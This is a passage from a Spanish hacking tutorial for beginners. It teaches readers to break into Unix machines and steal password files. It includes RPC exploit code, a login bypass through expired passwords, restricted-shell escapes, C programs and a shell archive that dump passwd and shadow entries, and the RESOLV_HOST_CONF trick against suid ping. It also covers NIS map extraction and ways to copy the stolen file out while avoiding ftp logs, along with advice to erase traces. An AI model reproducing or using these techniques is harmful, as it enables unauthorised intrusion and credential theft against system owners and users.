    exit(0);
  }
  target.sin_family=AF_INET;
  target.sin_addr.s_addr=*(u_long *)hp->h_addr;
  target.sin_port=0;    /* ask portmap */
  sd=RPC_ANYSOCK;

  tm.tv_sec=10;
  tm.tv_usec=0;
  if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) {
    clnt_pcreateerror("clnt_create");
    exit(0);
  }
  stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,
              (char *)&monres, tm);
  if (stat != RPC_SUCCESS)
    clnt_perror(cl, "clnt_call");
  else
    printf("stat_res = %d.\n", monres.res_stat);
  clnt_destroy(cl);
}
```

Otro bug de **System V** (aunque es improbable que funcione) pero es bastante aclarativo de cuales pueden llegar a ser las naturalezas de los bugs:

Existe un bug en Passwd+ o Npasswd que permite el acceso sin clave cuando la validez de la anterior ha expirado.
Si el programa detecta que el usuario que quiere entrar (sabe quien es despues de poner el login) tiene el mismo password demasiado tiempo, le pide inmediatamente que lo cambie ---SIN PEDIR EL PASSWORD ANTIGUO!!!, saldria esto:

```
UNIX(r) System V Release 4.0 (good religious site)

login: priest
Sorry Passwd has expired
Change:
```

Y pones el que quieres y ya estas dentro :--> con una cuenta que tu has determinado el passwd jeje

Para posteriores ediciones espero poner algunos mas, pero creo que es mejor que ponga bastantes en la seccion de pillar root ke es mas interesante ke esto :o)y ademas, sinceramente no se si vale la pena ya que se pueden encontrar con facilidad en la red.

4.8.- OTROS METODOS

En fin, aqui solo voy a comentar que hay muchisimos mas metodos para conseguir cuentas ... directamente con muchisimos otros bugs y xploits que rulan por ahi, usando el metodo de la fuerza bruta por algun servicio (ftp, pop3, etc), spoofing, fallos de configuracion en ftp, alguna cuenta que pilles con un sniffer, fallos en los rpc, mas xploits remotos, defectos de configuracion, hijacking, etc... pero esto ya se comentara en posteriores ediciones si hay ganas ;o) o quizas en textos especificos para esos temas ya que este texto es de introduccion y tampoco lo quiero recargar demasiado.

5.- SALIR DE SHELL RESTRINGIDA

La idea es que una vez que tenemos una cuenta shell en un sitio y la shell esta muy restringida y no podemos hacer nada (hay veces que ni siquiera te deja cambiar de directorio, ni ejecutar el gcc ni nada) hemos de buscar alguna manera de tener una cuenta un poco mas decente.

Algunas veces, la solucion es probar con el login y el password de la shell pero entrando por otros puertos como el ftp, rlogin, etc. y gracias a dios algunas veces se obtienen cuentas con mejores prestaciones que la anterior. Puedes escribir un + + en el fichero .rhosts y hacer un rlogin, etc...otras veces, entrando por el ftp podemos sobreescribir algun fichero que sea el que nos esta activando las restricciones... queda bastante claro no? :)

Asi ya podemos intentar pillar el fichero de passwd o ejecutar algun xploit para pillar otras cuentas o el rOOt.

Otro metodo que a veces funciona, dependiendo de como se ha hecho esa shell restringida (si esta bastante mal hecha) es el rulando un programa que interactua con el shell como por ejemplo el vi:

:set shell=/bin/sh

y luego..

:shell

Otro sistema ke puede funcionar, si tienes una cuenta para mail es tocar el .pinerc... es decir, bajarlo por ftp, tocarlo en tu maquina y volverlo a subir.

Si la cuenta no es muy restringida y deja correr el gcc, se puede compilar algun programa en c que te deje acceder al fichero de passwd aunque no tengas acceso a ese directorio. En la seccion de passwd y como cogerlos hay programas de este tipo.

En fin, son metodos un poco cutres pero a veces funcionan. Ademas, en general lo que se ha de hacer es examinar las variables de entorno que tenemos en la shell y pensar si de alguna manera podemos inhabilitar las restricciones aunque para esto se necesita tener un poco claro el unix.

6.- CRACKEAR PASSWORDS EN MAQUINAS UNIX

Suponiendo que con alguna de las tecnicas expuestas en el apartado anterior, hemos conseguido el famoso fichero /etc/passwd, ahora hay que obtener los passwd desencriptados.

6.1.- Introduccion y algoritmo de cifrado.

En los sistemas Unix, los logins y los passwords suelen estar en el fichero /etc/passwd (a no ser que esten shadow).

En estos ficheros, el login es visible y el password esta encriptado por lo que tienen una forma como la que se muestra a continuacion:

root:21gCqQc/zPWgU:0:0:Super-User:/:/bin/csh
sysadm:*:0:0:System V Administration:/usr/admin:/bin/sh
diag:*:0:996:Hardware Diagnostics:/usr/diags:/bin/csh
daemon:*:1:1:daemons:/:/dev/null
bin:*:2:2:System Tools Owner:/bin:/dev/null
uucp:*:3:5:UUCP Owner:/usr/lib/uucp:/bin/csh
sys:*:4:0:System Activity Owner:/var/adm:/bin/sh
adm:*:5:3:Accounting Files Owner:/var/adm:/bin/sh
lp::9:9:Print Spooler Owner:/var/spool/lp:/bin/sh
nuucp::10:10:Remote UUCP User:/var/spool/uucppublic:/usr/lib/uucp/uucico

```
auditor:*:11:0:Audit Activity Owner:/auditor:/bin/sh
dbadmin:*:12:0:Security Database Owner:/dbadmin:/bin/sh
rfindd:*:66:1:Rfind Daemon and Fsdump:/var/rfindd:/bin/sh
guest:zpB5nSLLjDOx2:998:998:Guest Account:/usr/people/guest:/bin/csh
4Dgifts::999:998:4Dgifts Account:/usr/people/4Dgifts:/bin/csh
will:5fg63fhD3d5gh:9406:12:Will Spencer:/home/fsg/will:/bin/bash
```

Donde cada campo viene separado por : y en los que el significado de cada campo es:

Login: will
Password encriptado: 5fg63fhD3d5gh
Numero de identificacion del usuario (UID): 9406
Numero de identificacion del grupo al que pertenece (GID): 12
Nombre real: Will Spencer
Directorio Home: /home/fsg/will
Tipo de shell: /bin/bash

En algunas lineas, el campo password es "*". Este password encriptado es invalido, o sea, no se corresponde con ningun password; por tanto, las cuentas que tienen alguna "*" en el campo password son cuentas a las que no se podra entrar y que son usadas por el sistema operativo.

Si en el fichero de pass en el lugar del password aparece :: quiere decir que esa cuenta no tiene password, por lo que al introducir el login entras directamente.

Respecto a la cadena de uid (user identification) el "0" corresponde al rOOt. Igualmente, si hay otros users con uid=0, estos usuarios son rOOt a todos los efectos, o sea, tienen los mismos derechos que el rOOt (nota para el que vaya un poco perdido, el rOOt es la persona que tiene un poder absoluto sobre el sistema pudiendo hacer todo lo que le plazca). Muchas veces solo habra un user con id 0 pero a veces hay varios con lo que se facilita el trabajo :o)

Los usuarios que sin tener el uid=0 tienen el mismo gid que el rOOt, tambien tienen algunos privilegios por el hecho de pertenecer al grupo del rOOt. Igualmente, hay que observar los uid y los gid de otros personajes particulares del sistema como wwwadmin, admin, www, bin , etc.

La siguiente cadena indica el directorio home, es decir al directorio que entraras cuando entres a esa maquina. La ultima cadena indica el shell que usaras por defecto cuando entres... hay varios tipos de shell.. sh, csh... pero eso se comenta en cualquier sitio que hable sobre unix por lo que para remitiros a las diferencias lo podeis mirar alli.

Vamos a hablar un poco sobre el algoritmo de cifrado:

El algoritmo de cifrado es el llamado DES, el cual era un algoritmo practicamente indescifrable cuando se ideo, pero que con el paso del tiempo y la tremenda evolucion de la tecnologia, cada dia se hace mas posible su desencriptado, dada la velocidad de los ordenadores actuales.

Es casi imposible volver hacia atras a partir de un password para obtener la palabra original. La unica forma que se conoce de romper DES es a fuerza bruta, cosa que se consiguio a principios de 1997 en internet, con maquinas distribuidas (lo mismo que ahora intentan con RC5). Tardaron 4 meses en romperlo, y eso que tuvieron suerte y solo tuvieron que probar una pequeña parte de todas las posibles claves.

Otro aspecto a destacar es la existencia del password aging, es decir que los password caducan. Esto es importante conocerlo ya que si los passwords se renuevan habitualmente, tendremos que acelerar nuestras acciones si no queremos que tras haber crackeado el fichero passwd, estos passwords ya hayan sido cambiados :o(

Si existe el password aging, en el fichero de passwords las entradas seran del tipo:

Pepe:cualquier,43:34:3:Pepe perez:/home/pepe

El formato es del tipo passwd,Mmww donde M es el maximo numero de semanas que pueden pasar hasta que el password sea cambiado y m es el minimo intervalo en el que puede ser cambiado mientras que ww indica cuando fue la ultima vez que se cambio el password.

La relacion entre M, m y el numero real de semanas es:

Caracter	Numero de semanas
.	0
/	1
0-9	2-11
A-Z	12-37
a-z	38-63

Asi, en el ejemplo de Pepe, el password contiene la extension ,43 que quiere decir que debe ser cambiado antes de 6 semanas (ya que el 0 corresponde al 2) y que debe permanecer al menos 3.

Entonces la pregunta es.. si es casi imposible desencriptarlos.. ¿que hace unix/linux para leer el fichero cuando entras al sistema??. Simplemente lo que hace es leer el login y el passwd que introduces por el teclado, los encripta y si coinciden con los correspondientes en el fichero /etc/passwd ya estas dentro!!!

Por tanto, la forma de atacar un fichero de passwords de Unix es precisamente la misma que usa el sistema operativo para verificar un password: encriptar muuuuchas palabras y comprobar cada una de ellas si coincide con el password encriptado. Si coincide, ya tenemos un password, y si no, probamos la siguiente palabra. Para hacer esto necesitamos tres cosas: una lista de palabras a probar, una lista con los passwords encriptados y un programa que haga las pruebas.

6.2.- Conseguir el fichero de passwd estando dentro de la maquina

6.2.1.- Introduccion

Siempre que se tenga una cuenta en un sistema, debereis entrar en el para pillar el famoso fichero de passwd sobre todo si esa cuenta os la ha pasado otro hacker ya que el root puede darse cuenta que esa cuenta es peligrosa para sus intereses y cerrarla.

Igualmente, antes de ir a pillarlo, haced un who para ver si esta el root.. aunque muchas veces aparece el root y realmente no esta ya que es facil hacer esto por lo que cada uno que vea lo que hace en estos casos aunque con un poco de sentido comun es sencilla la determinacion a tomar.

Asi, si teneis el fichero de passwd tendreis muchisimas cuentas y os dara lo mismo que cierren la cuenta con la que entrasteis en principio aunque esto realmente no es asi por lo que no lo tomeis muy al pie de la letra ya que un root que se de cuenta de que tiene un hacker rondando (si el root controla el tema) siempre tiene las de ganar en esta batalla :(

Ademas, es conveniente cambiar de cuentas para entrar al sistema ya que como se comentara mas adelante parte de lo que hagais en un sistema UNIX se queda en los ficheros de logs por lo que si no conseguis root y borrais estos logs, vuestras huellas estaran ahi y nada mas que el root tenga algo de interes por la seguridad vera que ha habido un tio haciendo cosas inusuales, pero todo esto ya es otro cantar que ya se hablara mas adelante.

El resumen de los anteriores parrafos es que lo mejor es una vez con una cuenta en el sistema, pillar el fichero de passwords y luego hacerse root y borrar todas las huellas... el problema es que no siempre todo esto es tan sencillo :(

En fin, suponemos que hemos conseguido una cuenta por alguno de los metodos anteriores, asi, si la cuenta no es muy restringida siempre podeis hacer un "cat /etc/passwd". Si no tienen Shadow Passwords o NIS aparecera una lista como la que habeis visto al principio. Sino, aparecera algo similar a esto:

```
root:21gCqQc/zPWgU:0:0:Super-User:/:/bin/csh
sysadm:*:0:0:System V Administration:/usr/admin:/bin/sh
diag:*:0:996:Hardware Diagnostics:/usr/diags:/bin/csh
daemon:*:1:1:daemons:/:/dev/null
bin:*:2:2:System Tools Owner:/bin:/dev/null
uucp:*:3:5:UUCP Owner:/usr/lib/uucp:/bin/csh
sys:*:4:0:System Activity Owner:/var/adm:/bin/sh
adm:*:5:3:Accounting Files Owner:/var/adm:/bin/sh
lp::9:9:Print Spooler Owner:/var/spool/lp:/bin/sh
```

```
nuucp::10:10:Remote UUCP User:/var/spool/uucppublic:/usr/lib/uucp/uucico
auditor:*:11:0:Audit Activity Owner:/auditor:/bin/sh
dbadmin:*:12:0:Security Database Owner:/dbadmin:/bin/sh
rfindd:*:66:1:Rfind Daemon and Fsdump:/var/rfindd:/bin/sh
guest:zpB5nSLLjDOx2:998:998:Guest Account:/usr/people/guest:/bin/csh
4Dgifts::999:998:4Dgifts Account:/usr/people/4Dgifts:/bin/csh
will:5fg63fhD3d5gh:9406:12:Will Spencer:/home/fsg/will:/bin/bash
```

Aunque el problema que se puede dar en muchos de estos sistemas, el directorio que contiene el fichero passwd (este o no este shadow) no es de acceso a usuarios que no sean root, por lo que en principio no conseguiremos ver su contenido, pero eso se hara posible gracias a sucesivas llamadas a getpwent(). Debemos nombrar este archivo como getpass y direccionar su salida a un fichero tal como sigue:

```
cc cogerPass.cc -o cogerPass > fichero

---------------------------------------Cortar a partir de aqui-----------------
#include <iostream.h>
#include <pwd.h>


struct passwd *pw;


main()
{
  while ((pw = getpwent()) != NULL)
  {
    cout << pw->pw_name;
    cout << ":" << pw->pw_passwd;
    cout << ":" << pw->pw_uid;
    cout << ":" << pw->pw_gid;
    cout << ":" << pw->pw_gecos;
    cout << ":" << pw->pw_dir;
    cout << ":" << pw->pw_shell << endl;
  }

  endpwent();
}
---------------------------------- hasta aqui ----------------------------------
```

y tendreis el archivo de passwd renombrado con el nombre fichero con lo que ya podeis hacer lo que querais con el. Se os ocurre algo ¿?? XDD

6.2.2.- PASSWORD SHADOWING

En todo el texto nos hemos referido a este concepto sin explicar lo que es. Posiblemente lo tendria que haber comentado antes, pero espero que quien lea se leera todo el texto antes de hacer nada. En fin, no me enrollo, password shadowing consiste en un sistema de seguridad en el cual en el archivo etc/passwd no estan los ficheros encriptados, sino que habra algo del tipo:

```
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
```

games:x:12:100:games:/usr/games:
man:x:13:15:man:/usr/man:
postmaster:x:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:x:-2:100:nobody:/dev/null:
ftp:x:404:1::/home/ftp:/bin/bash
guest:x:405:100:guest:/dev/null:/dev/null
bhilton:x:501:100:Bob Hilton:/home/bhilton:/bin/bash
web:x:502:100:Web Master:/home/web:/bin/bash
mary:x:503:100:Mary C. Hilton:/home/mary:/bin/bash

En los que como se puede observar, los passwd encriptados han sido sustituidos por una x aunque podria ser un * u otros simbolos. En este tipo de sistemas de seguridad, el verdadero archivo de passwd esta en un fichero que no es el /etc/passwd, pero el problema es que ese archivo no es accesible para todo el mundo, sino que es de solo lectura por el root por lo que si eres un usuario normal, no podras leerlo en principio.

A continuacion se muestra en que directorio puede estar el fichero shadow en los sistemas operativos mas usuales (obtenida de FAQ 2600):

Para determinar el tipo de unix que corre, usa uname –a cuando estes ya dentro de la maquina, aunque se puede ver con un telnet u otros metodos.

Unix	Path	Token
AIX 3	/etc/security/passwd	!
or	/tcb/auth/files/<first letter of username>/<username>	#
A/UX 3.0s	/tcb/files/auth/?/*	
BSD4.3-Reno	/etc/master.passwd	*
ConvexOS 10	/etc/shadpw	*
ConvexOS 11	/etc/shadow	*
DG/UX	/etc/tcb/aa/user/	*
EP/IX	/etc/shadow	x
HP-UX	/.secure/etc/passwd	*
IRIX 5	/etc/shadow	x
Linux 1.1	/etc/shadow	*
OSF/1	/etc/passwd[.dir|.pag]	*
SCO Unix #.2.x	/tcb/auth/files/<first letter of username>/<username>	*
SunOS4.1+c2	/etc/security/passwd.adjunct	##username
SunOS 5.0	/etc/shadow <optional NIS+ private secure maps/tables/whatever>	
System V Release 4.0	/etc/shadow	x
System V Release 4.2	/etc/security/* database	
Ultrix 4	/etc/auth[.dir|.pag]	*
UNICOS	/etc/udb	*

Una manera de conseguir el fichero de passwd si esta shadow y si usa libc 5.4.7 (algunos aun la usan) es aprovechar que algunos comandos como ping, traceroute, rlogin y ssh estan suid por lo que se podra explotar como sigue:

Ejecutas bash o sh
Export RESOLV_HOST_CONF=/etc/shadow (o el fichero en el que este dependiendo del sistema operativo)
Ping asdf

Y si no ha fallado nada te imprimira el shadow jeje. Con este metodo se pueden hacer mas kosas... pero es tan obvio que lo omito okis? jeje

6.2.3.- NIS

Otro concepto que se ha comentado a lo largo del texto es el de NIS por lo que a continuacion explico un poco lo que es.

NIS (Network Information System) es un protocolo de nivel de aplicacion muy util para la gestion de configuraciones cliente/servidor en sistemas UNIX. Anteriormente era conocido como Yellow Pages y es un sistema de bases de datos distribuidas que proporcionan un metodo uniforme para el almacenamiento y de recuperacion de la informacion sobre los recursos de red. En lugar de gestionar archivos como /etc/host /etc/passwd,/etc/group independientemente en cada maquina de la red, este sistema posibilita que solo haya una base de datos compartida por el resto de las maquinas clientes en un servidor central.

En fin, tras este rollo os preguntares y que mas nos da esto del NIS??, pues bien, es que una de la informacion (mapas) que es compartida son los famosos ficheros de password que nosotros buscamos jeje.

Asi, si estas dentro de una maquina con NIS y os sale algo que parece un shadow en el fichero /etc/passwd posiblemente haya un NIS. Esto se puede identificar como se ha comentado, mirando la ultima linea del fichero de passwd y si es algo del tipo "+::0:0:::" o mirando los procesos del sistema, ya que el NIS siempre tendra corriendo ypserv y algunos procesos mas que empiezan por yp, es decir, yp*. Bien, si ya tienes claro que corre NIS, lo que tienes que intentar es usar el ypcat tal como sigue:

ypcat /etc/passwd > ~/passwd

y bajate el fichero passwd de tu directorio HOME usando FTP o como quieras. Mas adelante se comentaran varios metodos.

En caso de que no tengais privilegios para ejecutar el "ypcat", o en caso de que el "ypcat" no este o por si acaso lo que aparece al ejecutar el "ypcat" vuelve a ser basura otra vez, tendreis que recurrir a otros programas para obtener los passwords como por ejemplo el pwget que tambien es usado para pillar shadows:

----------CUT HERE----------

```
# This is a shell archive.  Remove anything before this line,
# then unpack it by saving it in a file and typing "sh file".
# This archive contains:
#       README          Makefile        pwget.1         pwget.c

LANG=""; export LANG

echo x - README
cat >README <<'@EOF'
```

These utilities provided a common command level access to /etc/group and /etc/passwd much in the same way as getgrent(), getpwent(), et al.

This is especially useful if your system is running NFS and Yellow Pages. With Yellow pages, there is no easy command level interface for this information that will give you the same results as the libc routines.

These routines use "getopt()" so make sure your system has it.

Edit the Makefile for your machine/os and for the owner, group, mode
and destination of the binary and the man page.

Install with: make install.

File list:

```
README          -       This file.
Makefile        -       Makefile.
pwget.1         -       Man Page.
pwget.c         -       Command source.

@EOF

chmod 664 README

echo x - Makefile
cat >Makefile <<'@EOF'
# Configure CFLAGS/LDFLAGS for your machine/OS
# for HP-UX and other Sys V systems:
CFLAGS= -O -DSYSV
# for VAX 4.[23] BSD, SunOS and other BSD based systems:
```

```
   # CFLAGS= -O -DBSD

# Need getopt for pwget, include library that has it.
# System V based system (like HP-UX), 4.3BSD and SunOS have null LDFLAGS.
LDFLAGS=
# 4.2BSD requires getopt from someplace.
# LDFLAGS= -lgetopt

MODE=755
OWNER=bin
GROUP=bin
DEST=dest
MANMODE=444
MANOWNER=bin
MANGROUP=bin
MANDEST=man

all: grget pwget pwget.cat

install: installcmd installman

installcmd: pwget
	strip pwget
# use install for BSD and cpset for SYSV
#	install -c -o $(OWNER) -g $(GROUP) -m $(MODE) pwget $(DEST)
	cpset pwget $(DEST) $(MODE) $(OWNER) $(GROUP)
	ln $(DEST)/pwget $(DEST)/grget

installman: pwget.1
# use install for BSD and cpset for SYSV
#	install -c -o $(MANOWNER) -g $(MANGROUP) -m $(MANMODE) pwget.1 $(MANDEST)
	cpset pwget.1 $(MANDEST) $(MANMODE) $(MANOWNER) $(MANGROUP)

grget: pwget
	ln pwget grget

pwget: pwget.o
	cc $(LDFLAGS) -o pwget pwget.o

pwget.o: pwget.c
	cc $(CFLAGS) -c pwget.c

pwget.cat: pwget.1
	tbl pwget.1 | nroff -man -T > pwget.cat

clean:
	/bin/rm -f pwget.o pwget grget

clobber: clean
@EOF

chmod 664 Makefile

echo x - pwget.1
cat >pwget.1 <<'@EOF'
.TH PWGET UTIL "" "" ""
.ad b
.SH NAME
pwget, grget \- get password and group information
.SH SYNOPSIS
.B pwget
.RB [ " \-n" " name"
.RB | " \-u" " uid " ]
.PP
.B grget
.RB [ " \-n" " name"
```

.RB | " \-g" " gid "]
.br
.SH DESCRIPTION
.I Pwget\^
and
.I grget\^
are used to access the information found in
.B /etc/passwd
and
.BR /etc/group .
These routines provide a common access method
whether using the Yellow Page network database or not.
The output of these routines is sent to standard output.
With no options,
.I pwget
and
.I grget
output all of the data found using
.IR getpwent(LIBC)
and
.IR getgrent(LIBC)
respectively.
When options are given, only specified entries are searched for.
.PP
The options for
.I pwget
are:
.RS
.TP .8i
.BI \-n " name"
Output the first entry that matches using
.BI getpwnam(name).
.TP
.BI \-u " uid"
Output the first entry that matches using
.BI getpwuid(uid).
.RE
.PP
The options for
.I grget
are:
.RS
.TP .8i
.BI \-n " name"
Output the first entry that matches using
.BI getgrnam(name).
.TP
.BI \-g " gid"
Output the first entry that matches using
.BI getgrgid(gid).
.RE
.SH RETURN VALUE
These routines return 0 upon success, 1 when
a specific search fails and 2 upon error.
.SH WARNINGS
If the Yellow Page network database is in use and the
YP client daemon,
.IR ypbind (ADMIN),
is not connected to a YP server daemon,
.IR ypserv (ADMIN),
then these utilities will wait until such a connection is
established. These routines can be terminated in this
condition by sending a SIGINT signal to the process (see
.IR kill (UTIL)).
.SH AUTHOR
Pwget and grget were developed by Hewlett-Packard Company.

```
   .SH FILES
.TS
l l.
/etc/group        Local group data file
/etc/passwd       Local password data file
.TE
.SH SEE ALSO
getgrent(LIBC), getpwent(LIBC), group(FILE), passwd(FILE).
@EOF

chmod 644 pwget.1

echo x - pwget.c
cat >pwget.c <<'@EOF'
#include <stdio.h>
#include <grp.h>
#include <pwd.h>
#ifdef SYSV
#include <string.h>
#else /* not SYSV but BSD */
#include <strings.h>
#endif /* SYSV / BSD */

int atoi(), getopt();
char *arg0;

#define GRGET           1
#define PWGET           2

int mode;                       /* Mode of operation, either GRGET or PWGET. */

main(argc, argv)
int argc;
char **argv;
{
   int printgr(), printpw();
   int c;
   extern char *optarg;
   extern int optind;
   struct group *grp;
   struct passwd *pwd;
   int anyflag = 0,
         gflag = 0,
         nflag = 0,
         uflag = 0;
   int gid, uid;
   char *name, *opts;

   mode = 0;

#ifdef SYSV
   if ((arg0 = strrchr(argv[0], '/')) == NULL)
#else /* not SYSV but BSD */
   if ((arg0 = rindex(argv[0], '/')) == NULL)
#endif /* SYSV / BSD */
         arg0 = argv[0];
   else
         arg0++;                   /* Start after the '/' */

   if (strcmp(arg0, "grget") == 0)
         mode = GRGET;
   else if (strcmp(arg0, "pwget") == 0)
         mode = PWGET;
   else
         usage();
```

```
    switch(mode)
    {
case GRGET:
        setgrent();
        opts = "g:n:";
        break;
case PWGET:
        setpwent();
        opts = "u:n:";
        break;
    }

    while ((c = getopt(argc, argv, opts)) != EOF)
    {
        switch (c)
        {
    case 'g':
            if (anyflag != 0)
                usage();

            gflag++;
            anyflag++;
            gid = atoi(optarg);
            break;
    case 'n':
            if (anyflag != 0)
                usage();

            nflag++;
            anyflag++;
            name = optarg;
            break;
    case 'u':
            if (anyflag != 0)
                usage();

            uflag++;
            anyflag++;
            uid = atoi(optarg);
            break;
    case '?':
            usage();
            break;
        }
    }

    if (argv[optind] != NULL)
        usage();

    if (gflag)
    {
        if ((grp = getgrgid(gid)) != NULL)
            printgr(grp);
        else
            exit(1);
    }
    else if (nflag)
    {
        if (mode == GRGET)
        {
            if ((grp = getgrnam(name)) != NULL)
                printgr(grp);
            else
                exit(1);
        }
        else if (mode == PWGET)
```

```
            {
            if ((pwd = getpwnam(name)) != NULL)
                printpw(pwd);
            else
                exit(1);
        }
    }
    else if (uflag)
    {
        if ((pwd = getpwuid(uid)) != NULL)
            printpw(pwd);
        else
            exit(1);
    }
    else
    {
        if (mode == GRGET)
        {
            while ((grp = getgrent()) != NULL)
                printgr(grp);
        }
        else if (mode == PWGET)
        {
            while ((pwd = getpwent()) != NULL)
                printpw(pwd);
        }
    }

    switch(mode)
    {
case GRGET:
        endgrent();
        break;
case PWGET:
        endpwent();
        break;
    }

    exit(0);
}


usage()
{
    switch(mode)
    {
case GRGET:
        fprintf(stderr, "usage: %s [ -g gid | -n name ]\n", arg0);
        break;
case PWGET:
        fprintf(stderr, "usage: %s [ -n name | -u uid ]\n", arg0);
        break;
default:
        fprintf(stderr, "Call as either grget or pwget\n");
        break;
    }

    exit(2);
}


printgr(g)
struct group *g;
{
    char **chr;
    int comma;
```

```
   if (g != NULL)
   {
          printf("%s:%s:%d:", g->gr_name, g->gr_passwd, g->gr_gid);

          /* prints "grp1,grp2,grp3, ... ,grpn" */
          for (comma = 0, chr = g->gr_mem; *chr != NULL; chr++)
             printf("%s%s", ((comma==0)?comma++,"":","), *chr);

          printf("\n");
   }
}


printpw(p)
struct passwd *p;
{
   if (p != NULL)
   {
          printf("%s:%s", p->pw_name, p->pw_passwd);

#ifdef SYSV
          if (strcmp(p->pw_age, "") != 0)
             printf(",%s", p->pw_age);
#endif /* SYSV */

          printf(":%d:%d:%s:%s:%s\n", p->pw_uid, p->pw_gid,
                    p->pw_gecos, p->pw_dir, p->pw_shell);
   }
}

@EOF

chmod 666 pwget.c

exit 0
```

----------CUT HERE----------

Una vez lo teneis en la maquina objetivo, lo compilais con “cc -o pwget pwget.c", y ejecutarlo ("./pwget"), con lo que obtendreis por pantalla la lista de passwords. Si quereis la lista en un fichero, solo teneis que redireccionar la salida de la pantalla a un fichero:

```
$ ./pwget > fichero
```

Ahora adjunto otro programita que siempre es bueno tenerlo a mano por si el pwget da alguna pega o algo y que sirve para obtener los password shadow es el siguiente.

Su uso es gcc shadow.c -o shadow o cc shadow.c -o shadow y luego ./shadowpw >> password. Asi obtenendremos el fichero de passwd en el fichero password.

----------CUT HERE----------

```
/*  This source will/should print out SHADOWPW passwd files.   */

 struct  SHADOWPW {                          /* see getpwent(3) */
            char *pw_name;
            char *pw_passwd;
            int  pw_uid;
            int  pw_gid;
            int  pw_quota;
            char *pw_comment;
            char *pw_gecos;
            char *pw_dir;
            char *pw_shell;
 };
```

```
   struct passwd *getpwent(), *getpwuid(), *getpwnam();

#ifdef   elxsis?

/* Name of the shadow password file. Contains password and aging info */

#define  SHADOWPW "/etc/shadowpw"
#define  SHADOWPW_PAG "/etc/shadowpw.pag"
#define  SHADOWPW_DIR "/etc/shadowpw.dir"
/*
 *  Shadow password file pwd->pw_gecos field contains:
 *
 *  <type>,<period>,<last_time>,<old_time>,<old_password>
 *
 *  <type>         = Type of password criteria to enforce (type int).
 *                   BSD_CRIT (0), normal BSD.
 *                   STR_CRIT (1), strong passwords.
 *  <period>  = Password aging period (type long).
 *                   0, no aging.
 *                   else, number of seconds in aging period.
 *  <last_time>   = Time (seconds from epoch) of the last password
 *                   change (type long).
 *                   0, never changed.n
 *  <old_time>    = Time (seconds from epoch) that the current password
 *                   was made the <old_password> (type long).
 *                   0, never changed.ewromsinm
 *  <old_password> = Password (encrypted) saved for an aging <period> to
 *                   prevent reuse during that period (type char [20]).
 *                   "*******", no <old_password>.
 */

/* number of tries to change an aged password */

#define  CHANGE_TRIES 3

/* program to execute to change passwords */

#define  PASSWD_PROG "/bin/passwd"

/* Name of the password aging exempt user names and max number of entires */

#define  EXEMPTPW "/etc/exemptpw"
#define MAX_EXEMPT 100

/* Password criteria to enforce */

#define BSD_CRIT 0    /* Normal BSD password criteria */
#define STR_CRIT 1     /* Strong password criteria */
#define MAX_CRIT 1
#endif   elxsi
#define NULL 0
main()
{
          struct passwd *p;
          int i;
          for (;1;) {;
            p=getpwent();
            if (p==NULL) return;
            printpw(p);
          }
}

printpw(a)
struct SHADOWPW *a;
{
          printf("%s:%s:%d:%d:%s:%s:%s\n",
```

```
            a->pw_name,a->pw_passwd,a->pw_uid,a->pw_gid,
            a->pw_gecos,a->pw_dir,a->pw_shell);
}

 /* SunOS 5.0              /etc/shadow */
 /* SunOS4.1+c2     /etc/security/passwd.adjunct */
-----------------------------------------CUT HERE-----------------------------------------------
```

Ademas existe un programa llamado YPX que sirve para extraer estos mapas (incluido el fichero passwd, donde estan incluidos todos las passwords de los usuarios) de un servidor de NIS aunque la maquina en la que estemos no sea una maquina cliente. Para conseguirlo buscalo en la red en cualquier buscador o posiblemente este en el web de donde te bajes este texto :o). Hay otros programas de ese estilo como ypsnarf, etc.

Su uso es muy sencillo ya que solo tienes que hacer:

ypx –m passwd nombre_dominio_nis

Ademas, tened en cuenta las importantes ventajas que tiene el tener una cuenta en un sistema con nis.. creo que no hace falta que os lo explique tras el rollo que ya he contado no?.. si alguno no lo tiene claro que se relea el texto jeje.

6.3.- DISTINTOS METODOS PARA BAJAROS EL FICHERO DE PASSWD UNA VEZ LO TIENES BAJO CONTROL

Una vez tenemos el fichero de passwd en un archivo mas o menos bajo nuestro control, es decir que ya hemos pillado el shadow o tenemos acceso directamente al passwd, hemos de bajar esa informacion a nuestra maquina.

Hay varios sistemas:

1.- Usar el ftp, corriendo el ftp en la maquina delante de la que tu estas sentado y usar el get para pillar el fichero de passwd. Este sera el metodo usual pero en algunos casos esto no sera posible debido a algun metodo de seguridad. Una variante de esto es configurar en tu maquina el ftp y usar el ftp desde la maquina victima y hacer un put (para subir el fichero) a tu maquina desde la maquina victima. Tambien teneis que tener en cuenta que el ftp tiene un fichero de logs adicional por lo que tendreis que tenerlo en cuenta. Un consejo para este caso puede ser hacer un cat passwd > cualquiera y luego bajar el fichero “cualquiera” y asi en los logs no queda registrado que os habeis bajado el fichero passwd.

2.- Si el fichero de passwd no es muy grande, podemos abrir una ventana en nuestra maquina local y usar el copiar y pegar entre la ventana que tienes en la maquina victima y la ventana que tenemos en nuestra maquina. Es un poco cutre pero funciona :o). Por si alguien no lo sabe, en linux se copia con el boton izquierdo del raton y se pega con el central o pulsando los dos (izquierdo y derecho) a la vez dependiendo de la configuracion. Este metodo es cutre pero no da tanto el cante ya que en los logs solo aparece un cat y no aparece que te has bajado el /etc/passwd por ftp ¡!

3.- Usar el Kermit

Para bajar el fichero via Kermit o Zmodem necesitareis que vuestro programa de telnet soporte esos protocolos y que la maquina Unix en la que estais tambien los soporte (o sea, tenga los programas instalados). El programa de Kermit suele estar en casi todos los sitios:

```
$ kermit
kermit> set file type ascii (o "text", segun las maquinas)
kermit> set send pack 1000
kermit> set rec pack 1000
kermit> set file type 2 (o 3, como querais)
kermit> send fichero

... Download->Kermit
```

CTRL+C

```
kermit> quit
$
```

4.- Usar el ZModem/Ymodem/Xmodem.

Podreis usar este sistema en caso de tenerlo instalado:

```
$ sz fichero

... Download->ZModem

$
```

